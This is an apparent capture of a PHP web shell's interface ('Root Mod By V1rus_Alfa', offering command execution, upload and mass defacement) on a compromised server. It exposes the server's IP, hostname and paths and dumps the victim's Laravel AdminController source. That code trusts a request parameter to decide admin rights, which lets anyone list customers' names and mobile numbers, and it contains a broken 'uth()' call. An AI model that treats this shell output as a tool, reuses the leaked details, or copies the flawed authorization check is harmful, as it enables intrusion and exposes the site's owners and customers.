���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Http
/
Controllers
/
api
/
v1
/
Viewing: AdminController.php
<?php namespace App\Http\Controllers\api\v1; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Modules\Identity\Models\TenantCustomer; use Modules\Identity\Models\User; use Modules\Warehouse\Models\Product; class AdminController extends Controller { public function saveToken(Request $request) { auth('web')->user()->update(['device_token'=>$request->token]); return response()->json(['token saved successfully.']); } public function get_users(Request $request) { $check=User::where('mobile',$request->mobile)->orWhere('id',$request->mobile)->first(); if($check){ if($check->can('admin')){ $users=TenantCustomer:: when($request->search,function($qu) use ($request){ $qu->where(function($q) use ($request){ $q->where(function($s) use ($request){ $s->where('first_name', 'like', '%'.$request->search.'%')->orwhere('last_name', 'like', '%'.$request->search.'%'); })->orWhere(function($w) use ($request){ $w->where('mobile', 'like', '%'.$request->search.'%'); }); }); }) ->limit(5) ->get(); // Select some things }else{ $users=TenantCustomer::where('tenant_id',$check->id)-> when($request->search,function($qu) use ($request){ $qu->where(function($q) use ($request){ $q->where(function($s) use ($request){ $s->where('first_name', 'like', '%'.$request->search.'%')->orwhere('last_name', 'like', '%'.$request->search.'%'); })->orWhere(function($w) use ($request){ $w->where('mobile', 'like', '%'.$request->search.'%'); }); }); }) ->limit(5)->get(); // Select some things } return $users; } } public function get_services(Request $request) { $services=User::permission('services') ->when($request->search,function($qu) use ($request){ $qu->where(function($q) use ($request){ $q->where(function($s) use ($request){ $s->where('first_name', 'like', '%'.$request->search.'%')->orwhere('last_name', 'like', '%'.$request->search.'%'); })->orWhere(function($w) use ($request){ $w->where('mobile', 'like', '%'.$request->search.'%'); }); }); }) ->limit(5) ->get(); return $services; } public function get_products(Request $request) { $products=Product::when(auth('web')->user()->can('employee'),function($q){ $q->where('user_id',auth('web')->user()->parent); },function($q){ $q->where('user_id',auth('web')->user()->id); })->when($request->search,function($q) use ($request){ $q->where('title', 'like', '%'.$request->search.'%'); }) ->limit(5) ->get(); return $products; } public function get_product(Request $request) { $product=null; if($request->product_id){ $product=Product::when(uth()->user()->can('employee'),function($q){ $q->where('user_id',auth('web')->user()->parent); },function($q){ $q->where('user_id',auth('web')->user()->id); })->where('id',$request->product_id) ->first(); } return $product; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa